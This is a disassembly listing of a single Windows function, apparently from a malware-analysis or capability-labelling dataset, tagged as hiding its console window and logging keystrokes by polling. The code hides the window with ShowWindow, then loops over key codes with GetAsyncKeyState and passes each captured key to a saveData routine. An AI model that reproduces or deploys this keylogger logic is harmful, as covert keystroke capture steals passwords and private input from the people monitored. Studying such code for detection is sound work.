Function at 0x140001673
Capabilities:
Hide graphical window
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb0], rcx
mov dword [rbp - 0x30], 0x20
mov dword [rbp - 0x2c], 0xd
mov dword [rbp - 0x28], 0x10
mov dword [rbp - 0x24], 8
mov dword [rbp - 0x20], 9
mov dword [rbp - 0x1c], 0x11
mov dword [rbp - 0x18], 0x12
mov dword [rbp - 0x14], 0x14
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.1400a0100
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov dword [rbp - 0x54], 8
jmp 0x1400018b7
mov eax, dword [rbp - 0x54]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
sete al
test al, al
je 0x1400018ae
lea rax, [rbp - 0x30]
mov rcx, rax
call method.int_std.end_int__8ull__int_____8ull__
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.int_std.begin_int__8ull__int_____8ull__
lea rdx, [rbp - 0x54]
mov r8, rdx
mov rdx, rbx
mov rcx, rax
call method.int_std.find_int__int__int__int__int_const_
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.int_std.end_int__8ull__int_____8ull__
cmp rbx, rax
setne al
mov byte [rbp + 0x87], al
cmp byte [rbp + 0x87], 0
je 0x1400017d0
mov edx, dword [rbp - 0x54]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.translateSpecialKey_abi:cxx11__int_
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rdx, qword [rbp + 0xb0]
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.saveData_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_long_
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1400018ae
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001842
lea rax, [rbp + 0x5f]
mov rcx, rax
call fcn.140068a30
mov eax, dword [rbp - 0x54]
movsx edx, al
lea rcx, [rbp + 0x5f]
lea rax, [rbp + 0x30]
mov r9, rcx
mov r8d, edx
mov edx, 1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____unsigned_long_long__char__std::allocator_char__const_
mov rdx, qword [rbp + 0xb0]
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.saveData_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_long_
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x1400018ae
lea rax, [rbp + 0x86]
mov rcx, rax
call fcn.140068a30
mov eax, dword [rbp - 0x54]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_tolower]
call rax
movsx edx, al
lea rcx, [rbp + 0x86]
lea rax, [rbp + 0x60]
mov r9, rcx
mov r8d, edx
mov edx, 1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____unsigned_long_long__char__std::allocator_char__const_
mov rdx, qword [rbp + 0xb0]
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.saveData_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_long_
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x86]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov eax, dword [rbp - 0x54]
add eax, 1
mov dword [rbp - 0x54], eax
mov eax, dword [rbp - 0x54]
cmp eax, 0xbe
jle 0x140001703
jmp 0x1400016f7